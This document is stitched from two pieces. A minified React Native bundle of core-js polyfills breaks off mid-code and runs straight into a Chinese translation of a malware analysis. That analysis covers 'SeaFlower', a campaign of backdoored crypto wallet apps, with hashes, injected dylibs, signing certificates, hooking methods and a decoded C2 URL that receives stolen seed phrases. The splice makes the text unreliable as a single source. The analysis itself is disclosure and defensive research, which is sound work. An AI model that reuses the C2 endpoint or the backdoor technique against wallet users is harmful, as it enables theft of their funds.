Object.values&&(Object.values=function(n){if(null==n)throw new TypeError('Object.values called on non-object');var o=[];for(var t in n)e.call(n,t)&&o.push(n[t]);return o})})();
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);r(d[1]),r(d[2]);var t=n(r(d[3]));r(d[4]).AppRegistry.registerComponent('token',function(){return t.default})},0,[1,2,347,929,380]);
__d(function(g,r,i,a,m,e,d){m.exports=function(n){return n&&n.__esModule?n:{default:n}}},1,[]);
__d(function(g,r,i,a,m,e,d){r(d[0]),r(d[1]),r(d[2]),r(d[3]),r(d[4]),r(d[5]),r(d[6]),r(d[7]),r(d[8]),r(d[9]),r(d[10]),r(d[11]),r(d[12]),r(d[13]),r(d[14]),m.exports=r(d[15])},2,[3,329,167,332,331,333,336,337,338,339,341,342,343,345,346,10]);
__d(function(g,r,i,a,m,e,d){r(d[0]),r(d[1]),r(d[2]),r(d[3]),r(d[4]),r(d[5]),r(d[6]),r(d[7]),r(d[8]),r(d[9]),r(d[10]),r(d[11]),r(d[12]),r(d[13]),r(d[14]),r(d[15]),r(d[16]),r(d[17]),r(d[18]),r(d[19]),r(d[20]),r(d[21]),r(d[22]),r(d[23]),r(d[24]),r(d[25]),r(d[26]),r(d[27]),r(d[28]),r(d[29]),r(d[30]),r(d[31]),r(d[32]),r(d[33]),r(d[34]),r(d[35]),r(d[36]),r(d[37]),r(d[38]),r(d[39]),r(d[40]),r(d[41]),r(d[42]),r(d[43]),r(d[44]),r(d[45]),r(d[46]),r(d[47]),r(d[48]),r(d[49]),r(d[50]),r(d[51]),r(d[52]),r(d[53]),r(d[54]),r(d[55]),r(d[56]),r(d[57]),r(d[58]),r(d[59]),r(d[60]),r(d[61]),r(d[62]),r(d[63]),r(d[64]),r(d[65]),r(d[66]),r(d[67]),r(d[68]),r(d[69]),r(d[70]),r(d[71]),r(d[72]),r(d[73]),r(d[74]),r(d[75]),r(d[76]),r(d[77]),r(d[78]),r(d[79]),r(d[80]),r(d[81]),r(d[82]),r(d[83]),r(d[84]),r(d[85]),r(d[86]),r(d[87]),r(d[88]),r(d[89]),r(d[90]),r(d[91]),r(d[92]),r(d[93]),r(d[94]),r(d[95]),r(d[96]),r(d[97]),r(d[98]),r(d[99]),r(d[100]),r(d[101]),r(d[102]),r(d[103]),r(d[104]),r(d[105]),r(d[106]),r(d[107]),r(d[108]),r(d[109]),r(d[110]),r(d[111]),r(d[112]),r(d[113]),r(d[114]),r(d[115]),r(d[116]),r(d[117]),r(d[118]),r(d[119]),r(d[120]),r(d[121]),r(d[122]),r(d[123]),r(d[124]),r(d[125]),r(d[126]),r(d[127]),r(d[128]),r(d[129]),r(d[130]),r(d[131]),r(d[132]),r(d[133]),r(d[134]),r(d[135]),r(d[136]),r(d[137]),r(d[138]),r(d[139]),r(d[140]),r(d[141]),r(d[142]),r(d[143]),r(d[144]),r(d[145]),r(d[146]),r(d[147]),r(d[148]),r(d[149]),r(d[150]),r(d[151]),r(d[152]),r(d[153]),r(d[154]),r(d[155]),r(d[156]),r(d[157]),r(d[158]),r(d[159]),r(d[160]),r(d[161]),r(d[162]),r(d[163]),r(d[164]),r(d[165]),r(d[166]),r(d[167]),r(d[168]),r(d[169]),r(d[170]),r(d[171]),r(d[172]),r(d[173]),r(d[174]),r(d[175]),r(d[176]),r(d[177]),r(d[178]),r(d[179]),r(d[180]),r(d[181]),r(d[182]),r(d[183]),r(d[184]),r(d[185]),r(d[186]),r(d[187]),r(d[188]),r(d[189]),r(d[190]),r(d[191]),r(d[192]),r(d[193]),r(d[194]),r(d[195]),r(d[196]),m.exports=r(d[197])},3,[4,54,55,56,57,59,61,62,63,64,65,66,67,68,69,71,73,75,77,80,81,82,86,88,90,93,94,95,96,98,99,100,101,102,103,104,106,107,108,110,111,112,114,116,117,118,119,120,121,122,123,124,125,126,127,128,133,134,138,139,140,141,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,159,160,162,163,169,170,172,173,174,178,179,180,181,182,184,185,186,187,190,192,193,194,196,198,200,202,203,204,208,209,210,212,222,226,227,229,230,234,235,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,257,258,259,260,261,263,264,265,267,268,269,270,271,272,273,274,276,277,279,280,281,282,285,286,288,289,290,291,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,313,314,316,317,318,319,320,321,322,323,324,325,326,327,328,10]);
__d(function(g,r,i,a,m,e,d){'use strict';g=r(d[0]);var t=r(d[1]),n=r(d[2]),o=r(d[3]),f=r(d[4]),u=r(d[5]).KEY,s=r(d[6]),c=r(d[7]),p=r(d[8]),l=r(d[9]),y=r(d[10]),h=r(d[11]),b=r(d[12]),v=r(d[13]),S=r(d[14]),O=r(d[15]),P=r(d[16]),w=r(d[17]),F=r(d[18]),j=r(d[19]),E=r(d[20]),N=r(d[21]),_=r(d[22]),J=r(d[23]),k=r(d[24]),I=r(d[25]),T=r(d[26]),C=J.f,M=I.f,D=_.f,G=g.Symbol,K=g.JSON,Q=K&&K.stringify,W=y('_hidden'),Y=y('toPrimitive'),q={}.propertyIsEnumerable,x=c('symbol-registry'),z=c('symbols'),A=c('op-symbols'),B=Object.prototype,H='function'==typeof G&&!!k.f,L=g.QObject,R=!L||!L.prototype||!L.prototype.findChild,U=n&&s(function(){return 7!=N(M({},'a',{get:function(){return M(this,'a',{value:7}).a}})).a})?function(t,n,o){var f=C(B,n);f&&delete B[n],M(t,n,o),f&&t!==B&&M(B,n,f)}:M,V=function(t){var n=z[t]=N(G.prototype);return n._k=t,n},X=H&&'symbol'==typeof G.iterator?function(t){return'symbol'==typeof t}:function(t){return t instanceof G},Z=function(n,o,f){return n===B&&Z(A,o,f),O(n),o=j(o,!0),O(f),t(z,o)?(f.enumerable?(t(n,W)&&n[W][o]&&(n[W][o]=!1),f=N(f,{enumerable:E(0,!1)})):(t(n,W)||M(n,W,E(1,{})),n[W][o]=!0),U(n,o,f)):M(n,o,f)},$=function(t,n){O(t);for(var o,f=v(n=F(n)),u=0,s=f.length;s>u;)Z(t,o=f[u++],n[o]);return t},tt=function(n){var o=q.call(this,n=j(n,!0));return!(this===B&&t(z,n)&&!t(A,n))&&(!(o||!t(this,n)||!t(z,n)||t(this,W)&&this[W][n])||o)},rt=function(n,o){if(n=F(n),o=j(o,!0),n!==B||!t(z,o)||t(A,o)){var f=C(n,o);return!f||!t(z,o)||t(n,W)&&n[W][o]||(f.enumerable=!0),f}},nt=function(n){for(var o,f=D(F(n)),s=[],c=0;f.length>c;)t(z,o=f[c++])||o==W||o==u||s.push(o);return s},et=function(n){for(var o,f=n===B,u=D(f?A:F(n)),s=[],c=0;u.length>c;)!t(z,o=u[c++])||f&&!t(B,o)||s.push(z[o]);return s};H||(f((G=function(){if(this instanceof G)throw TypeError('Symbol is not a constructor!');var o=l(arguments.length>0?arguments[0]:void 0);return n&&R&&U(B,o,{configurable:!0,set:function n(f){this===B&&n.call(A,f),t(this,W)&&t(this[W],o)&&(this[W][o]=!1),U(this,o,E(1,f))}}),V(o)}).prototype,'toString',function(){return this._k}),J.f=rt,I.f=Z,r(d[27]).f=_.f=nt,r(d[28]).f=tt,k.f=et,n&&!r(d[29])&&f(B,'propertyIsEnumerable',tt,!0),h.f=function(t){return V(y(t))}),o(o.G+o.W+o.F*!H,{Symbol:G});for(var ot='hasInstance,isConcatSpreadable,iterator,match,replace,search,species,split,toPrimitive,toStringTag,unscopables'.split(','),it=0;ot.length>it;)y(ot[it++]);for(var ft=T(y.store),ut=0;ft.length>ut;)b(ft[ut++]);o(o.S+o.F*!H,'Symbol',{for:function(n){return t(x,n+='')?x[n]:x[n]=G(n)},keyFor:function(t){if(!X(t))throw TypeError(t+' is not a symbol!');for(var n in x)if(x[n]===t)return n},useSetter:function(){R=!0},useSimple:function(){R=!1}}),o(o.S+o.F*!H,'Object',{create:function(t,n){return void 0===n?N(t):$(N(t),n)},defineProperty:Z,defineProperties:$,getOwnPropertyDescriptor:rt,getOwnPropertyNames:nt,getOwnPropertySymbols:et});var st=s(function(){k.f(1)});o(o.S+o.F*st,'Object',{getOwnPropertySymbols:function(t){return k.f(w(t))}}),K&&o(o.S+o.F*(!H||s(function(){var t=G();return'[null]'!=Q([t])||'{}'!=Q({a:t})||'{}'!=Q(Object(t))})),'JSON',{stringify:function(t){for(var n,o,f=[t],u=1;arguments.length>u;)f.push(arguments[u++]);if(o=n=f[1],(P(n)||void 0!==t)&&!X(t))return S(n)||(n=function(t,n){if('function'==typeof o&&(n=o.call(this,t,n)),!X(n))return n}),f[1]=n,Q.apply(K,f)}}),G.prototype[Y]||r(d[30])(G.prototype,Y,G.prototype.valueOf),p(G,'Symbol'),p(Math,'Math',!0),p(g.JSON,'JSON',!0)},4,[5,6,7,9,19,26,8,22,27,20,28,29,30,31,46,13,14,47,34,17,18,48,51,53,44,12,32,52,45,23,11]);
__d(function(g,r,i,a,m,e,d){g=m.exports='undefined'!=typeof window&&window.Math==Math?window:'undefined'!=typeof self&&self.Math==Math?self:Function('return this')();'number'==typeof __g&&(__g=g)},5,[]);
__d(function(g,r,i,a,m,e,d){var n={}.hasOwnProperty;m.exports=function(t,o){return n.call(t,o)}},6,[]);
__d(function(g,r,i,a,m,e,d){m.exports=!r(d[0])(function(){return 7!=Object.defineProperty({},'a',{get:function(){return 7}}).a})},7,[8]);
__d(function(g,r,i,a,m,e,d){m.exports=function(t){try{return!!t()}catch(t){return!0}}},8,[]);
__d(function(g,r,i,a,m,e,d){g=r(d[0]);var o=r(d[1]),t=r(d[2]),n=r(d[3]),p=r(d[4]),c=function c(f,u,y){var v,F,l,B,G=f&c.F,P=f&c.G,S=f&c.P,U=f&c.B,_=P?g:f&c.S?g[u]||(g[u]={}):(g[u]||{}).prototype,s=P?o:o[u]||(o[u]={}),x=s.prototype||(s.prototype={});for(v in P&&(y=u),y)l=((F=!G&&_&&void 0!==_[v])?_:y)[v],B=U&&F?p(l,g):S&&'function'==typeof l?p(Function.call,l):l,_&&n(_,v,l,f&c.U),s[v]!=l&&t(s,v,B),S&&x[v]!=l&&(x[v]=l)};g.core=o,c.F=1,c.G=2,c.S=4,c.P=8,c.B=16,c.W=32,c.U=64,c.R=128,m.exports=c},9,[5,10,11,19,24]);
__d(function(g,r,i,a,m,e,d){var _=m.exports={version:'2.6.11'};'number'==typeof __e&&(__e=_)},10,[]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]);m.exports=r(d[2])?function(u,f,o){return n.f(u,f,t(1,o))}:function(n,t,u){return n[t]=u,n}},11,[12,18,7]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),n=r(d[1]),o=r(d[2]),c=Object.defineProperty;e.f=r(d[3])?Object.defineProperty:function(f,u,p){if(t(f),u=o(u,!0),t(p),n)try{return c(f,u,p)}catch(t){}if('get'in p||'set'in p)throw TypeError('Accessors not supported!');return'value'in p&&(f[u]=p.value),f}},12,[13,15,17,7]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);m.exports=function(o){if(!n(o))throw TypeError(o+' is not an object!');return o}},13,[14]);
__d(function(g,r,i,a,m,e,d){m.exports=function(n){return'object'==typeof n?null!==n:'function'==typeof n}},14,[]);
__d(function(g,r,i,a,m,e,d){m.exports=!r(d[0])&&!r(d[1])(function(){return 7!=Object.defineProperty(r(d[2])('div'),'a',{get:function(){return 7}}).a})},15,[7,8,16]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),n=r(d[1]).document,c=t(n)&&t(n.createElement);m.exports=function(t){return c?n.createElement(t):{}}},16,[14,5]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]);m.exports=function(n,o){if(!t(n))return n;var f,u;if(o&&'function'==typeof(f=n.toString)&&!t(u=f.call(n)))return u;if('function'==typeof(f=n.valueOf)&&!t(u=f.call(n)))return u;if(!o&&'function'==typeof(f=n.toString)&&!t(u=f.call(n)))return u;throw TypeError("Can't convert object to primitive value")}},17,[14]);
__d(function(g,r,i,a,m,e,d){m.exports=function(n,u){return{enumerable:!(1&n),configurable:!(2&n),writable:!(4&n),value:u}}},18,[]);
__d(function(g,r,i,a,m,e,d){g=r(d[0]);var t=r(d[1]),n=r(d[2]),o=r(d[3])('src'),c=r(d[4]),u=(''+c).split("toString");r(d[5]).inspectSource=function(t){return c.call(t)},(m.exports=function(c,f,p,s){var l='function'==typeof p;l&&(n(p,'name')||t(p,'name',f)),c[f]!==p&&(l&&(n(p,o)||t(p,o,c[f]?''+c[f]:u.join(String(f)))),c===g?c[f]=p:s?c[f]?c[f]=p:t(c,f,p):(delete c[f],t(c,f,p)))})(Function.prototype,"toString",function(){return'function'==typeof this&&this[o]||c.call(this)})},19,[5,11,6,20,21,10]);
__d(function(g,r,i,a,m,e,d){var n=0,o=Math.random();m.exports=function(t){return'Symbol('.concat(void 0===t?'':t,')_',(++n+o).toString(36))}},20,[]);
__d(function(g,r,i,a,m,e,d){m.exports=r(d[0])('native-function-to-string',Function.toString)},21,[22]);
__d(function(g,r,i,a,m,e,d){var o=r(d[0]),s=(g=r(d[1]))["__core-js_shared__"]||(g["__core-js_shared__"]={});(m.exports=function(o,_){return s[o]||(s[o]=void 0!==_?_:{})})('versions',[]).push({version:o.version,mode:r(d[2])?'pure':'global',copyright:'\xa9 2019 Denis Pushkarev (zloirock.ru)'})},22,[10,5,23]);
__d(function(g,r,i,a,m,e,d){m.exports=!1},23,[]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);m.exports=function(t,u,c){if(n(t),void 0===u)return t;switch(c){case 1:return function(n){return t.call(u,n)};case 2:return function(n,c){return t.call(u,n,c)};case 3:return function(n,c,o){return t.call(u,n,c,o)}}return function(){return t.apply(u,arguments)}}},24,[25]);
__d(function(g,r,i,a,m,e,d){m.exports=function(n){if('function'!=typeof n)throw TypeError(n+' is not a function!');return n}},25,[]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0])('meta'),t=r(d[1]),f=r(d[2]),u=r(d[3]).f,o=0,c=Object.isExtensible||function(){return!0},s=!r(d[4])(function(){return c(Object.preventExtensions({}))}),E=function(t){u(t,n,{value:{i:'O'+ ++o,w:{}}})},b=m.exports={KEY:n,NEED:!1,fastKey:function(u,o){if(!t(u))return'symbol'==typeof u?u:('string'==typeof u?'S':'P')+u;if(!f(u,n)){if(!c(u))return'F';if(!o)return'E';E(u)}return u[n].i},getWeak:function(t,u){if(!f(t,n)){if(!c(t))return!0;if(!u)return!1;E(t)}return t[n].w},onFreeze:function(t){return s&&b.NEED&&c(t)&&!f(t,n)&&E(t),t}}},26,[20,14,6,12,8]);
__d(function(g,r,i,a,m,e,d){var o=r(d[0]).f,t=r(d[1]),n=r(d[2])('toStringTag');m.exports=function(f,u,c){f&&!t(f=c?f:f.prototype,n)&&o(f,n,{configurable:!0,value:u})}},27,[12,6,28]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0])('wks'),o=r(d[1]),t=r(d[2]).Symbol,f='function'==typeof t;(m.exports=function(u){return n[u]||(n[u]=f&&("function"==typeof t?t[u]:"@@name")||(f?t:o)('Symbol.'+u))}).store=n},28,[22,20,5]);
__d(function(g,r,i,a,m,e,d){e.f=r(d[0])},29,[28]);
__d(function(g,r,i,a,m,e,d){g=r(d[0]);var o=r(d[1]),n=r(d[2]),f=r(d[3]),l=r(d[4]).f;m.exports=function(t){var b=o.Symbol||(o.Symbol=n?{}:g.Symbol||{});'_'==t.charAt(0)||t in b||l(b,t,{value:f.f(t)})}},30,[5,10,23,29,12]);
__d(function(g,r,i,a,m,e,d){var f=r(d[0]),n=r(d[1]),t=r(d[2]);m.exports=function(o){var u=f(o),c=n.f;if(c)for(var l,v=c(o),h=t.f,p=0;v.length>p;)h.call(o,l=v[p++])&&u.push(l);return u}},31,[32,44,45]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]);m.exports=Object.keys||function(c){return n(c,t)}},32,[33,43]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),o=r(d[1]),t=r(d[2])(!1),u=r(d[3])('IE_PROTO');m.exports=function(f,h){var p,s=o(f),_=0,c=[];for(p in s)p!=u&&n(s,p)&&c.push(p);for(;h.length>_;)n(s,p=h[_++])&&(~t(c,p)||c.push(p));return c}},33,[6,34,38,42]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]);m.exports=function(o){return n(t(o))}},34,[35,37]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]);m.exports=Object('z').propertyIsEnumerable(0)?Object:function(n){return'String'==t(n)?n.split(''):Object(n)}},35,[36]);
__d(function(g,r,i,a,m,e,d){var n={}.toString;m.exports=function(t){return n.call(t).slice(8,-1)}},36,[]);
__d(function(g,r,i,a,m,e,d){m.exports=function(o){if(void 0==o)throw TypeError("Can't call method on "+o);return o}},37,[]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]),f=r(d[2]);m.exports=function(u){return function(o,c,l){var s,v=n(o),_=t(v.length),h=f(l,_);if(u&&c!=c){for(;_>h;)if((s=v[h++])!=s)return!0}else for(;_>h;h++)if((u||h in v)&&v[h]===c)return u||h||0;return!u&&-1}}},38,[34,39,41]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=Math.min;m.exports=function(o){return o>0?t(n(o),9007199254740991):0}},39,[40]);
__d(function(g,r,i,a,m,e,d){var t=Math.ceil,n=Math.floor;m.exports=function(o){return isNaN(o=+o)?0:(o>0?n:t)(o)}},40,[]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=Math.max,o=Math.min;m.exports=function(u,c){return(u=n(u))<0?t(u+c,0):o(u,c)}},41,[40]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0])('keys'),t=r(d[1]);m.exports=function(o){return n[o]||(n[o]=t(o))}},42,[22,20]);
__d(function(g,r,i,a,m,e,d){m.exports='constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf'.split(',')},43,[]);
__d(function(g,r,i,a,m,e,d){e.f=Object.getOwnPropertySymbols},44,[]);
__d(function(g,r,i,a,m,e,d){e.f={}.propertyIsEnumerable},45,[]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);m.exports=Array.isArray||function(t){return'Array'==n(t)}},46,[36]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);m.exports=function(t){return Object(n(t))}},47,[37]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),n=r(d[1]),o=r(d[2]),c=r(d[3])('IE_PROTO'),p=function(){},l=function(){var t,n=r(d[4])('iframe'),c=o.length;for(n.style.display='none',r(d[5]).appendChild(n),n.src='javascript:',(t=n.contentWindow.document).open(),t.write("<script>document.F=Object<\/script>"),t.close(),l=t.F;c--;)delete l.prototype[o[c]];return l()};m.exports=Object.create||function(o,u){var s;return null!==o?(p.prototype=t(o),s=new p,p.prototype=null,s[c]=o):s=l(),void 0===u?s:n(s,u)}},48,[13,49,43,42,16,50]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]),f=r(d[2]);m.exports=r(d[3])?Object.defineProperties:function(o,c){t(o);for(var u,p=f(c),s=p.length,v=0;s>v;)n.f(o,u=p[v++],c[u]);return o}},49,[12,13,32,7]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]).document;m.exports=n&&n.documentElement},50,[5]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),n=r(d[1]).f,o={}.toString,c='object'==typeof window&&window&&Object.getOwnPropertyNames?Object.getOwnPropertyNames(window):[],w=function(t){try{return n(t)}catch(t){return c.slice()}};m.exports.f=function(f){return c&&'[object Window]'==o.call(f)?w(f):n(t(f))}},51,[34,52]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),n=r(d[1]).concat('length','prototype');e.f=Object.getOwnPropertyNames||function(o){return t(o,n)}},52,[33,43]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),c=r(d[1]),n=r(d[2]),f=r(d[3]),o=r(d[4]),u=r(d[5]),l=Object.getOwnPropertyDescriptor;e.f=r(d[6])?l:function(p,y){if(p=n(p),y=f(y,!0),u)try{return l(p,y)}catch(t){}if(o(p,y))return c(!t.f.call(p,y),p[y])}},53,[45,18,34,17,6,15,7]);
__d(function(g,r,i,a,m,e,d){var c=r(d[0]);c(c.S,'Object',{create:r(d[1])})},54,[9,48]);
__d(function(g,r,i,a,m,e,d){var f=r(d[0]);f(f.S+f.F*!r(d[1]),'Object',{defineProperty:r(d[2]).f})},55,[9,7,12]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);n(n.S+n.F*!r(d[1]),'Object',{defineProperties:r(d[2])})},56,[9,7,49]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]).f;r(d[2])('getOwnPropertyDescriptor',function(){return function(o,u){return t(n(o),u)}})},57,[34,53,58]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),c=r(d[1]),n=r(d[2]);m.exports=function(o,b){var f=(c.Object||{})[o]||Object[o],j={};j[o]=b(f),t(t.S+t.F*n(function(){f(1)}),'Object',j)}},58,[9,10,8]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]);r(d[2])('getPrototypeOf',function(){return function(o){return t(n(o))}})},59,[47,60,58]);
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),o=r(d[1]),n=r(d[2])('IE_PROTO'),c=Object.prototype;m.exports=Object.getPrototypeOf||function(u){return u=o(u),t(u,n)?u[n]:'function'==typeof u.constructor&&u instanceof u.constructor?u.constructor.prototype:u instanceof Object?c:null}},60,[6,47,42]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]);r(d[2])('keys',function(){return function(u){return t(n(u))}})},61,[47,32,58]);
__d(function(g,r,i,a,m,e,d){r(d[0])('getOwnPropertyNames',function(){return r(d[1]).f})},62,[58,51]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]).onFreeze;r(d[2])('freeze',function(u){return function(f){return u&&n(f)?u(t(f)):f}})},63,[14,26,58]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]).onFreeze;r(d[2])('seal',function(u){return function(o){return u&&n(o)?u(t(o)):o}})},64,[14,26,58]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]).onFreeze;r(d[2])('preventExtensions',function(o){return function(u){return o&&n(u)?o(t(u)):u}})},65,[14,26,58]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);r(d[1])('isFrozen',function(t){return function(u){return!n(u)||!!t&&t(u)}})},66,[14,58]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);r(d[1])('isSealed',function(t){return function(u){return!n(u)||!!t&&t(u)}})},67,[14,58]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);r(d[1])('isExtensible',function(t){return function(u){return!!n(u)&&(!t||t(u))}})},68,[14,58]);
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);n(n.S+n.F,'Object',{assign:r(d[1])})},69,[9,70]);
__d(function(g,r,i,a,m,e,d){'use strict';var n=r(d[0]),t=r(d[1]),c=r(d[2]),o=r(d[3]),f=r(d[4]),s=r(d[5]),l=Object.assign;m.exports=!l||r(d[6])(function(){var n={},t={},c=Symbol(),o='abcdefghijklmnopqrst';return n[c]=7,o.split('').forEach(function(n){t[n]=n}),7!=l({},n)[c]||Object.keys(l({},t)).join('')!=o})?function(l,u){for(var b=f(l),h=arguments.length,j=1,v=c.f,p=o.f;h>j;)for(var k,y=s(arguments[j++]),O=v?t(y).concat(v(y)):t(y),_=O.length,q=0;_>q;)k=O[q++],n&&!p.call(y,k)||(b[k]=y[k]);return b}
Coinbase钱包iOS应用程序
分析的.IPA的SHA-256:
2334e9fc13b6fe12a6dd92f8bd65467cf700f43fdb713a209a74174fdaabd2e2
使用了一个单一的注入的dylib libWalletDylib.dylib,下面是otool -L的输出:
@executable_path/Frameworks/libWalletDylib.dylib (compatibility version 0.0.0, current version 0.0.0)
此 .dylib 使用开发者 ID 证书签名:iPhone 发行版:Universitas Muhammadiyah Malang (9MJG6A8RD7) 和 Team-ID 9MJG6A8RD7
转储字符串,我们发现与 metamask Wallet iOS 应用程序中相同的作者 macOS 用户名“lanyu”,确认我们正在处理相同的作者,并确认使用相同的 Monkeydev xcode 模板:
/Users/lanyu
后门代码并没有像 MetaMask 钱包 iOS 应用程序那样真正隐藏,因为我们可以看到更多方法直接在注入的 .dylib 中实现:
后门代码可以通过 class-dump 看到
Logos 还与应用程序的多个 ViewController 上的多个 MSHookMessageEx() 挂钩一起使用,每次都回调特定的后门代码方法:
带有logo调整的 coinbase Wallet iOS 应用程序
imToken钱包iOS应用程序:
分析的.IPA的SHA-256:
1e232c74082e4d72c86e44f1399643ffb6f7836805c9ba4b4235fedbeeb8bdca
与Coinbase iOS钱包类似,一个.dylib libimtokenhookDylib.dylib被注入:
@executable_path/Frameworks/libimtokenhookDylib.dylib (compatibility version 0.0.0, current version 0.0.0)
这个.dylib是用Developer ID证书:Sjdbfbd Jdjffb(9J3Q9W2QG2)和Team-ID 9J3Q9W2QG2签署的。
我们还发现了对同一个macOS用户名 "lanyu "的引用和对MonkeyDev框架的引用:
后门被隐藏和加密,与 Metamask iOS 钱包中相同,我发现加载的后门 React Native 包完全相同。我们注意到通过 MSHookMessageEx() 的附加钩子被添加到 RCTJavaScriptLoader 中,确保最终加载后门 React Native 包:
因此,作者似乎没有为imToken Wallet iOS应用程序做任何具体的事情。
TokenPocket iOS钱包:
分析的.IPA文件的SHA-256:
46002ac5a0caaa2617371bddbdbc7eca74cd9cb48878da0d3218a78d5be7a53a
一个单一的.dylib libpocketDylib.dylib被注入了:
@executable_path/Frameworks/libpocketDylib.dylib (compatibility version 0.0.0, current version 0.0.0)
此 .dylib 使用开发者 ID 证书签名:hang Bai (GNY64NUGXC)
Authority=iPhone Distribution: hang Bai (GNY64NUGXC)Authority=Apple Worldwide Developer Relations Certification AuthorityAuthority=Apple Root CASigned Time=Mar 3, 2022 at 5:06:06 PMInfo.plist=not boundTeamIdentifier=GNY64NUGXC
一个名为“trader”的新作者 macOS 用户名泄露,我们还确认了 MonkeyDev 框架的使用:
捕获的种子短语被发送到攻击者控制的域:
Coinbase钱包的安卓应用
需要注意的是,对于每个通过配置文件交付的 iOS 应用程序,在 SeaFlower 设置的同一页面上都有一个可供下载的 android 应用程序:
我们将对Coinbase钱包APK文件做一个快速分析,以展示后门代码是如何被添加的。
APK的SHA-256:
83dec763560049965b524932dabc6bd6252c7ca2ce9016f47c397293c6cd17a5
我安装了APK,在安卓模拟器上运行,SSL拦截到位。不足为奇的是,与这个应用程序的iOS版本类似,一个网络请求被发送到一个攻击者控制的域名,其中包含受害者的种子短语:
从后门 Coinbase 钱包中泄露的种子短语
安卓APK是非常容易后门的,因此我们不会在本节中花费太多时间,我们将仅限于分析Coinbase钱包APK,仅此而已。
一个非常知名的技术是注入smali代码。看看发送的HTTP请求和参数名称,我没有花太多时间就找到了后门代码,它是在一个名为XMPMetadata的类中实现的:
作者并没有在他们的后门中添加任何花哨的东西,而是在种子短语即将保存到 Storage 时调用这个类,并在参数中使用种子短语:)
saveMnemonicToStorage() 中的后门代码
他们用 base64 编码了 C2 域/url,多么花哨:
echo -n "aHR0cHM6Ly9jb2xuYmFzZS5ob21lcy91L3Ntcy8=" | base64 -d
https://colnbase.homes/u/sms/
关于SeaFlower的一些最终想法:
我喜欢这组活动的原因是,它是独一无二的,它与web3有关,而且以前没有报道过。他们似乎在iOS方面做了很多努力,例如建立配置文件、自动部署、复杂的后门代码等等。与安卓方面的事情相比,他们已经做了更多工作。
当涉及到SeaFlower的归属时,有一些值得注意的挑战,例如弄清楚供应服务器是否由同一个集团运行,以及除了中文搜索引擎外,还要确定更多的初始攻击载体。由于地理和语言障碍方面的原因,所有这些都是困难的挑战。
我们计划在不久的将来发布这篇博文的第二部分,在那里我们将对SeaFlower使用的基础设施进行深入研究,并增加更多的归因要素。
一般的安全建议:
对于Web3钱包的开发者
当涉及到保护加密货币相关的软件,如数百万人使用的移动Web3钱包时,绝对不是一件容易的事情。
我们在本节所写的内容不会阻止一个熟练的或坚定的攻击者篡改你的应用程序,但有一些简单的修复方法,可以让你的攻击者付出金钱和时间。
首先,知道并了解你的攻击面(希望这篇博客能有所帮助),以及阅读这份列出加密货币钱包可能面临的不同攻击面的文件:
https://github.com/OWASP/owasp-mstg/blob/master/Document/0x06c-Reverse-Engineering-and-Tampering.md
其次,让你的东西更难被破解:)检测内联钩子、注入库、检测工具等等,这些都是众所周知的、有记录的主题。
对于Web3用户
总是从官方商店下载移动应用程序。苹果AppStore和Play Store。
永远不要在你的iPhone上安装或接受随机配置配置文件,正如你在这篇博文中所看到的,它们允许下载未经验证的软件,有可能窃取你的加密货币。
文章转发自FastDaily微信公众号,版权归其所有。文章内容不代表本站立场和任何投资暗示。
Copyright © 2021.Company 元宇宙YITB.COM All rights reserved.元宇宙YITB.COM